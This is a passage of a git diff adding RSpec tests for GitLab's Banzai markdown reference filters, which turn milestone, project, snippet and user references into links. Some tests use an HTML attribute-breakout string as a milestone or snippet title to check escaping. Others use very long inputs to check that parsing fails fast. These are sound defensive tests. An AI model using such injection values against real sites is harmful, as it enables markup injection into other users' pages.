+ shared_examples 'Integer-based references' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Milestone (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
+ end
+
+ it 'ignores invalid milestone IIDs' do
+ exp = act = "Milestone #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ shared_examples 'String-based single-word references' do
+ let(:reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
+
+ before do
+ milestone.update!(name: 'gfm')
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
+ expect(doc.text).to eq "See #{milestone.reference_link_text}"
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Milestone (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
+ end
+
+ it 'ignores invalid milestone names' do
+ exp = act = "Milestone #{Milestone.reference_prefix}#{milestone.name.reverse}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ shared_examples 'String-based multi-word references in quotes' do
+ let(:reference) { milestone.to_reference(format: :name) }
+
+ before do
+ milestone.update!(name: 'gfm references')
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
+ expect(doc.text).to eq "See #{milestone.reference_link_text}"
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Milestone (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
+ end
+
+ it 'ignores invalid milestone names' do
+ exp = act = %(Milestone #{Milestone.reference_prefix}"#{milestone.name.reverse}")
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ shared_examples 'referencing a milestone in a link href' do
+ let(:unquoted_reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
+ let(:link_reference) { %Q{<a href="#{unquoted_reference}">Milestone</a>} }
+
+ before do
+ milestone.update!(name: 'gfm')
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{link_reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Milestone (#{link_reference}.)")
+ expect(doc.to_html).to match(%r(\(<a.+>Milestone</a>\.\)))
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Milestone #{link_reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-milestone attribute' do
+ doc = reference_filter("See #{link_reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-milestone')
+ expect(link.attr('data-milestone')).to eq milestone.id.to_s
+ end
+ end
+
+ shared_examples 'linking to a milestone as the entire link' do
+ let(:unquoted_reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
+ let(:link) { urls.milestone_url(milestone) }
+ let(:link_reference) { %Q{<a href="#{link}">#{link}</a>} }
+
+ it 'replaces the link text with the milestone reference' do
+ doc = reference_filter("See #{link}")
+
+ expect(doc.css('a').first.text).to eq(unquoted_reference)
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Milestone #{link_reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-milestone attribute' do
+ doc = reference_filter("See #{link_reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-milestone')
+ expect(link.attr('data-milestone')).to eq milestone.id.to_s
+ end
+ end
+
+ shared_examples 'cross-project / cross-namespace complete reference' do
+ let_it_be(:milestone) { create(:milestone, project: another_project) }
+ let(:reference) { "#{another_project.full_path}%#{milestone.iid}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'points to referenced project milestone page' do
+ expect(result.css('a').first.attr('href')).to eq urls
+ .project_milestone_url(another_project, milestone)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eq("#{milestone.reference_link_text} in #{another_project.full_path}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text)
+ .to eq("See (#{milestone.reference_link_text} in #{another_project.full_path}.)")
+ end
+
+ it 'escapes the name attribute' do
+ allow_next_instance_of(Milestone) do |instance|
+ allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
+ end
+
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.text)
+ .to eq "#{milestone.reference_link_text} in #{another_project.full_path}"
+ end
+ end
+
+ shared_examples 'cross-project / same-namespace complete reference' do
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:milestone) { create(:milestone, project: another_project) }
+ let(:reference) { "#{another_project.full_path}%#{milestone.iid}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'points to referenced project milestone page' do
+ expect(result.css('a').first.attr('href')).to eq urls
+ .project_milestone_url(another_project, milestone)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eq("#{milestone.reference_link_text} in #{another_project.path}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text)
+ .to eq("See (#{milestone.reference_link_text} in #{another_project.path}.)")
+ end
+
+ it 'escapes the name attribute' do
+ allow_next_instance_of(Milestone) do |instance|
+ allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
+ end
+
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.text)
+ .to eq "#{milestone.reference_link_text} in #{another_project.path}"
+ end
+ end
+
+ shared_examples 'cross project shorthand reference' do
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
+ let_it_be(:milestone) { create(:milestone, project: another_project) }
+ let(:reference) { "#{another_project.path}%#{milestone.iid}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'points to referenced project milestone page' do
+ expect(result.css('a').first.attr('href')).to eq urls
+ .project_milestone_url(another_project, milestone)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text)
+ .to eq("#{milestone.reference_link_text} in #{another_project.path}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text)
+ .to eq("See (#{milestone.reference_link_text} in #{another_project.path}.)")
+ end
+
+ it 'escapes the name attribute' do
+ allow_next_instance_of(Milestone) do |instance|
+ allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
+ end
+
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.text)
+ .to eq "#{milestone.reference_link_text} in #{another_project.path}"
+ end
+ end
+
+ shared_examples 'references with HTML entities' do
+ before do
+ milestone.update!(title: '&lt;html&gt;')
+ end
+
+ it 'links to a valid reference' do
+ doc = reference_filter('See %"&lt;html&gt;"')
+
+ expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
+ expect(doc.text).to eq 'See %<html>'
+ end
+
+ it 'ignores invalid milestone names and escapes entities' do
+ act = %(Milestone %"&lt;non valid&gt;")
+
+ expect(reference_filter(act).to_html).to eq act
+ end
+ end
+
+ shared_context 'project milestones' do
+ let(:reference) { milestone.to_reference(format: :iid) }
+
+ include_examples 'reference parsing'
+
+ it_behaves_like 'Integer-based references'
+ it_behaves_like 'String-based single-word references'
+ it_behaves_like 'String-based multi-word references in quotes'
+ it_behaves_like 'referencing a milestone in a link href'
+ it_behaves_like 'cross-project / cross-namespace complete reference'
+ it_behaves_like 'cross-project / same-namespace complete reference'
+ it_behaves_like 'cross project shorthand reference'
+ it_behaves_like 'references with HTML entities'
+ it_behaves_like 'HTML text with references' do
+ let(:resource) { milestone }
+ let(:resource_text) { "#{resource.class.reference_prefix}#{resource.title}" }
+ end
+ end
+
+ shared_context 'group milestones' do
+ let(:reference) { milestone.to_reference(format: :name) }
+
+ include_examples 'reference parsing'
+
+ it_behaves_like 'String-based single-word references'
+ it_behaves_like 'String-based multi-word references in quotes'
+ it_behaves_like 'referencing a milestone in a link href'
+ it_behaves_like 'references with HTML entities'
+ it_behaves_like 'HTML text with references' do
+ let(:resource) { milestone }
+ let(:resource_text) { "#{resource.class.reference_prefix}#{resource.title}" }
+ end
+
+ it 'does not support references by IID' do
+ doc = reference_filter("See #{Milestone.reference_prefix}#{milestone.iid}")
+
+ expect(doc.css('a')).to be_empty
+ end
+
+ it 'does not support references by link' do
+ doc = reference_filter("See #{urls.milestone_url(milestone)}")
+
+ expect(doc.css('a').first.text).to eq(urls.milestone_url(milestone))
+ end
+
+ it 'does not support cross-project references', :aggregate_failures do
+ another_group = create(:group)
+ another_project = create(:project, :public, group: group)
+ project_reference = another_project.to_reference_base(project)
+ input_text = "See #{project_reference}#{reference}"
+
+ milestone.update!(group: another_group)
+
+ doc = reference_filter(input_text)
+
+ expect(input_text).to match(Milestone.reference_pattern)
+ expect(doc.css('a')).to be_empty
+ end
+
+ it 'supports parent group references' do
+ milestone.update!(group: parent_group)
+
+ doc = reference_filter("See #{reference}")
+ expect(doc.css('a').first.text).to eq(milestone.reference_link_text)
+ end
+ end
+
+ context 'group context' do
+ let(:group) { create(:group) }
+ let(:context) { { project: nil, group: group } }
+
+ context 'when project milestone' do
+ let(:milestone) { create(:milestone, project: project) }
+
+ it 'links to a valid reference' do
+ reference = "#{project.full_path}%#{milestone.iid}"
+
+ result = reference_filter("See #{reference}", context)
+
+ expect(result.css('a').first.attr('href')).to eq(urls.milestone_url(milestone))
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See %#{milestone.iid}"
+
+ expect(reference_filter(act, context).to_html).to eq exp
+ end
+ end
+
+ context 'when group milestone' do
+ let(:group_milestone) { create(:milestone, title: 'group_milestone', group: group) }
+
+ context 'for subgroups' do
+ let(:sub_group) { create(:group, parent: group) }
+ let(:sub_group_milestone) { create(:milestone, title: 'sub_group_milestone', group: sub_group) }
+
+ it 'links to a valid reference of subgroup and group milestones' do
+ [group_milestone, sub_group_milestone].each do |milestone|
+ reference = "%#{milestone.title}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: sub_group })
+
+ expect(result.css('a').first.attr('href')).to eq(urls.milestone_url(milestone))
+ end
+ end
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See %#{group_milestone.iid}"
+
+ expect(reference_filter(act, context).to_html).to eq exp
+ end
+ end
+ end
+
+ context 'when milestone is open' do
+ context 'project milestones' do
+ let_it_be_with_reload(:milestone) { create(:milestone, project: project) }
+
+ include_context 'project milestones'
+ end
+
+ context 'group milestones' do
+ let_it_be_with_reload(:milestone) { create(:milestone, group: group) }
+
+ include_context 'group milestones'
+ end
+ end
+
+ context 'when milestone is closed' do
+ context 'project milestones' do
+ let_it_be_with_reload(:milestone) { create(:milestone, :closed, project: project) }
+
+ include_context 'project milestones'
+ end
+
+ context 'group milestones' do
+ let_it_be_with_reload(:milestone) { create(:milestone, :closed, group: group) }
+
+ include_context 'group milestones'
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/project_reference_filter_spec.rb b/spec/lib/banzai/filter/references/project_reference_filter_spec.rb
new file mode 100644
index 00000000000..7a77d57cd42
--- /dev/null
+++ b/spec/lib/banzai/filter/references/project_reference_filter_spec.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::ProjectReferenceFilter do
+ include FilterSpecHelper
+
+ def invalidate_reference(reference)
+ "#{reference.reverse}"
+ end
+
+ def get_reference(project)
+ project.to_reference
+ end
+
+ let(:project) { create(:project, :public) }
+ subject { project }
+
+ let(:subject_name) { "project" }
+ let(:reference) { get_reference(project) }
+
+ it_behaves_like 'user reference or project reference'
+
+ it 'ignores invalid projects' do
+ exp = act = "Hey #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq(CGI.escapeHTML(exp))
+ end
+
+ context 'when invalid reference strings are very long' do
+ shared_examples_for 'fails fast' do |ref_string|
+ it 'fails fast for long strings' do
+ # took well under 1 second in CI https://dev.gitlab.org/gitlab/gitlabhq/merge_requests/3267#note_172824
+ expect do
+ Timeout.timeout(3.seconds) { reference_filter(ref_string).to_html }
+ end.not_to raise_error
+ end
+ end
+
+ it_behaves_like 'fails fast', 'A' * 50000
+ it_behaves_like 'fails fast', '/a' * 50000
+ end
+
+ it 'allows references with text after the > character' do
+ doc = reference_filter("Hey #{reference}foo")
+ expect(doc.css('a').first.attr('href')).to eq urls.project_url(subject)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Hey #{CGI.escapeHTML(reference)}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Hey #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-project has-tooltip'
+ end
+
+ context 'in group context' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, group: group) }
+
+ let(:nested_group) { create(:group, :nested) }
+ let(:nested_project) { create(:project, group: nested_group) }
+
+ it 'supports mentioning a project' do
+ reference = get_reference(project)
+ doc = reference_filter("Hey #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.project_url(project)
+ end
+
+ it 'supports mentioning a project in a nested group' do
+ reference = get_reference(nested_project)
+ doc = reference_filter("Hey #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.project_url(nested_project)
+ end
+ end
+
+ describe '#projects_hash' do
+ it 'returns a Hash containing all Projects' do
+ document = Nokogiri::HTML.fragment("<p>#{get_reference(project)}</p>")
+ filter = described_class.new(document, project: project)
+
+ expect(filter.projects_hash).to eq({ project.full_path => project })
+ end
+ end
+
+ describe '#projects' do
+ it 'returns the projects mentioned in a document' do
+ document = Nokogiri::HTML.fragment("<p>#{get_reference(project)}</p>")
+ filter = described_class.new(document, project: project)
+
+ expect(filter.projects).to eq([project.full_path])
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/reference_filter_spec.rb b/spec/lib/banzai/filter/references/reference_filter_spec.rb
new file mode 100644
index 00000000000..4bcb41ef2a9
--- /dev/null
+++ b/spec/lib/banzai/filter/references/reference_filter_spec.rb
@@ -0,0 +1,224 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::ReferenceFilter do
+ let(:project) { build_stubbed(:project) }
+
+ describe '#each_node' do
+ it 'iterates over the nodes in a document' do
+ document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
+ filter = described_class.new(document, project: project)
+
+ expect { |b| filter.each_node(&b) }
+ .to yield_with_args(an_instance_of(Nokogiri::XML::Element))
+ end
+
+ it 'returns an Enumerator when no block is given' do
+ document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
+ filter = described_class.new(document, project: project)
+
+ expect(filter.each_node).to be_an_instance_of(Enumerator)
+ end
+
+ it 'skips links with a "gfm" class' do
+ document = Nokogiri::HTML.fragment('<a href="foo" class="gfm">foo</a>')
+ filter = described_class.new(document, project: project)
+
+ expect { |b| filter.each_node(&b) }.not_to yield_control
+ end
+
+ it 'skips text nodes in pre elements' do
+ document = Nokogiri::HTML.fragment('<pre>foo</pre>')
+ filter = described_class.new(document, project: project)
+
+ expect { |b| filter.each_node(&b) }.not_to yield_control
+ end
+ end
+
+ describe '#nodes' do
+ it 'returns an Array of the HTML nodes' do
+ document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
+ filter = described_class.new(document, project: project)
+
+ expect(filter.nodes).to eq([document.children[0]])
+ end
+ end
+
+ RSpec.shared_context 'document nodes' do
+ let(:document) { Nokogiri::HTML.fragment('<p data-sourcepos="1:1-1:18"></p>') }
+ let(:nodes) { [] }
+ let(:filter) { described_class.new(document, project: project) }
+ let(:ref_pattern) { nil }
+ let(:href_link) { nil }
+
+ before do
+ nodes.each do |node|
+ document.children.first.add_child(node)
+ end
+ end
+ end
+
+ RSpec.shared_context 'new nodes' do
+ let(:nodes) { [{ value: "1" }, { value: "2" }, { value: "3" }] }
+ let(:expected_nodes) { [{ value: "1.1" }, { value: "1.2" }, { value: "1.3" }, { value: "2.1" }, { value: "2.2" }, { value: "2.3" }, { value: "3.1" }, { value: "3.2" }, { value: "3.3" }] }
+ let(:new_nodes) do
+ {
+ 0 => [{ value: "1.1" }, { value: "1.2" }, { value: "1.3" }],
+ 2 => [{ value: "3.1" }, { value: "3.2" }, { value: "3.3" }],
+ 1 => [{ value: "2.1" }, { value: "2.2" }, { value: "2.3" }]
+ }
+ end
+ end
+
+ RSpec.shared_examples 'replaces text' do |method_name, index|
+ let(:args) { [filter.nodes[index], index, ref_pattern || href_link].compact }
+
+ context 'when content didnt change' do
+ it 'does not replace link node with html' do
+ filter.send(method_name, *args) do
+ existing_content
+ end
+
+ expect(filter).not_to receive(:replace_text_with_html)
+ end
+ end
+
+ context 'when link node has changed' do
+ let(:html) { %(text <a href="reference_url" class="gfm gfm-user" title="reference">Reference</a>) }
+
+ it 'replaces reference node' do
+ filter.send(method_name, *args) do
+ html
+ end
+
+ expect(document.css('a').length).to eq 1
+ end
+
+ it 'calls replace_and_update_new_nodes' do
+ expect(filter).to receive(:replace_and_update_new_nodes).with(filter.nodes[index], index, html)
+
+ filter.send(method_name, *args) do
+ html
+ end
+ end
+
+ it 'stores filtered new nodes' do
+ filter.send(method_name, *args) do
+ html
+ end
+
+ expect(filter.instance_variable_get(:@new_nodes)).to eq({ index => [filter.each_node.to_a[index]] })
+ end
+ end
+ end
+
+ RSpec.shared_examples 'replaces document node' do |method_name|
+ context 'when parent has only one node' do
+ let(:nodes) { [node] }
+
+ it_behaves_like 'replaces text', method_name, 0
+ end
+
+ context 'when parent has multiple nodes' do
+ let(:node1) { Nokogiri::HTML.fragment('<span>span text</span>') }
+ let(:node2) { Nokogiri::HTML.fragment('<span>text</span>') }
+
+ context 'when pattern matches in the first node' do
+ let(:nodes) { [node, node1, node2] }
+
+ it_behaves_like 'replaces text', method_name, 0
+ end
+
+ context 'when pattern matches in the middle node' do
+ let(:nodes) { [node1, node, node2] }
+
+ it_behaves_like 'replaces text', method_name, 1
+ end
+
+ context 'when pattern matches in the last node' do
+ let(:nodes) { [node1, node2, node] }
+
+ it_behaves_like 'replaces text', method_name, 2
+ end
+ end
+ end
+
+ describe '#replace_text_when_pattern_matches' do
+ include_context 'document nodes'
+ let(:node) { Nokogiri::HTML.fragment('text @reference') }
+
+ let(:ref_pattern) { %r{(?<!\w)@(?<user>[a-zA-Z0-9_\-\.]*)}x }
+
+ context 'when node has no reference pattern' do
+ let(:node) { Nokogiri::HTML.fragment('random text') }
+ let(:nodes) { [node] }
+
+ it 'skips node' do
+ expect { |b| filter.replace_text_when_pattern_matches(filter.nodes[0], 0, ref_pattern, &b) }.not_to yield_control
+ end
+ end
+
+ it_behaves_like 'replaces document node', :replace_text_when_pattern_matches do
+ let(:existing_content) { node.to_html }
+ end
+ end
+
+ describe '#replace_link_node_with_text' do
+ include_context 'document nodes'
+ let(:node) { Nokogiri::HTML.fragment('<a>end text</a>') }
+
+ it_behaves_like 'replaces document node', :replace_link_node_with_text do
+ let(:existing_content) { node.text }
+ end
+ end
+
+ describe '#replace_link_node_with_href' do
+ include_context 'document nodes'
+ let(:node) { Nokogiri::HTML.fragment('<a href="link">end text</a>') }
+ let(:href_link) { CGI.unescape(node.attr('href').to_s) }
+
+ it_behaves_like 'replaces document node', :replace_link_node_with_href do
+ let(:existing_content) { href_link }
+ end
+ end
+
+ describe "#call_and_update_nodes" do
+ include_context 'new nodes'
+ let(:document) { Nokogiri::HTML.fragment('<a href="foo">foo</a>') }
+ let(:filter) { described_class.new(document, project: project) }
+
+ it "updates all new nodes", :aggregate_failures do
+ filter.instance_variable_set('@nodes', nodes)
+
+ expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
+ expect(filter).to receive(:with_update_nodes).and_call_original
+ expect(filter).to receive(:update_nodes!).and_call_original
+
+ filter.call_and_update_nodes
+
+ expect(filter.result[:reference_filter_nodes]).to eq(expected_nodes)
+ end
+ end
+
+ describe ".call" do
+ include_context 'new nodes'
+
+ let(:document) { Nokogiri::HTML.fragment('<a href="foo">foo</a>') }
+
+ let(:result) { { reference_filter_nodes: nodes } }
+
+ it "updates all nodes", :aggregate_failures do
+ expect_next_instance_of(described_class) do |filter|
+ expect(filter).to receive(:call_and_update_nodes).and_call_original
+ expect(filter).to receive(:with_update_nodes).and_call_original
+ expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
+ expect(filter).to receive(:update_nodes!).and_call_original
+ end
+
+ described_class.call(document, { project: project }, result)
+
+ expect(result[:reference_filter_nodes]).to eq(expected_nodes)
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb b/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb
new file mode 100644
index 00000000000..32a706925ba
--- /dev/null
+++ b/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb
@@ -0,0 +1,222 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::SnippetReferenceFilter do
+ include FilterSpecHelper
+
+ let(:project) { create(:project, :public) }
+ let(:snippet) { create(:project_snippet, project: project) }
+ let(:reference) { snippet.to_reference }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Snippet #{reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'internal reference' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_snippet_url(project, snippet)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Snippet (#{reference}.)")
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
+ end
+
+ it 'ignores invalid snippet IDs' do
+ exp = act = "Snippet #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("Snippet #{reference}")
+ expect(doc.css('a').first.attr('title')).to eq snippet.title
+ end
+
+ it 'escapes the title attribute' do
+ snippet.update_attribute(:title, %{"></a>whatever<a title="})
+
+ doc = reference_filter("Snippet #{reference}")
+ expect(doc.text).to eq "Snippet #{reference}"
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Snippet #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-snippet has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Snippet #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-snippet attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-snippet')
+ expect(link.attr('data-snippet')).to eq snippet.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Snippet #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.project_snippet_url(project, snippet, only_path: true)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let!(:snippet) { create(:project_snippet, project: project2) }
+ let(:reference) { "#{project2.full_path}$#{snippet.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_snippet_url(project2, snippet)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql(reference)
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{reference}.)")
+ end
+
+ it 'ignores invalid snippet IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let!(:snippet) { create(:project_snippet, project: project2) }
+ let(:reference) { "#{project2.full_path}$#{snippet.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_snippet_url(project2, snippet)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}$#{snippet.id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}$#{snippet.id}.)")
+ end
+
+ it 'ignores invalid snippet IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let!(:snippet) { create(:project_snippet, project: project2) }
+ let(:reference) { "#{project2.path}$#{snippet.id}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_snippet_url(project2, snippet)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
+
+ expect(doc.css('a').first.text).to eql("#{project2.path}$#{snippet.id}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
+
+ expect(doc.text).to eql("See (#{project2.path}$#{snippet.id}.)")
+ end
+
+ it 'ignores invalid snippet IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:snippet) { create(:project_snippet, project: project2) }
+ let(:reference) { urls.project_snippet_url(project2, snippet) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_snippet_url(project2, snippet)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("See (#{reference}.)")
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(snippet.to_reference(project))}</a>\.\)})
+ end
+
+ it 'ignores invalid snippet IDs on the referenced project' do
+ act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
+ end
+ end
+
+ context 'group context' do
+ it 'links to a valid reference' do
+ reference = "#{project.full_path}$#{snippet.id}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.project_snippet_url(project, snippet))
+ end
+
+ it 'ignores internal references' do
+ exp = act = "See $#{snippet.id}"
+
+ expect(reference_filter(act, project: nil, group: create(:group)).to_html).to eq exp
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/user_reference_filter_spec.rb b/spec/lib/banzai/filter/references/user_reference_filter_spec.rb
new file mode 100644
index 00000000000..e4703606b47
--- /dev/null
+++ b/spec/lib/banzai/filter/references/user_reference_filter_spec.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::UserReferenceFilter do
+ include FilterSpecHelper
+
+ def get_reference(user)
+ user.to_reference
+ end
+
+ let(:project) { create(:project, :public) }
+ let(:user) { create(:user) }
+ subject { user }
+
+ let(:subject_name) { "user" }
+ let(:reference) { get_reference(user) }
+
+ it_behaves_like 'user reference or project reference'
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ it 'ignores invalid users' do
+ exp = act = "Hey #{invalidate_reference(reference)}"
+ expect(reference_filter(act).to_html).to eq(exp)
+ end
+
+ it 'ignores references with text before the @ sign' do
+ exp = act = "Hey foo#{reference}"
+ expect(reference_filter(act).to_html).to eq(exp)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Hey #{reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'mentioning @all' do
+ let(:reference) { User.reference_prefix + 'all' }
+
+ it_behaves_like 'a reference containing an element node'
+
+ before do
+ project.add_developer(project.creator)
+ end
+
+ it 'supports a special @all mention' do
+ project.add_developer(user)
+ doc = reference_filter("Hey #{reference}", author: user)
+
+ expect(doc.css('a').length).to eq 1
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_url(project)
+ end
+
+ it 'includes a data-author attribute when there is an author' do
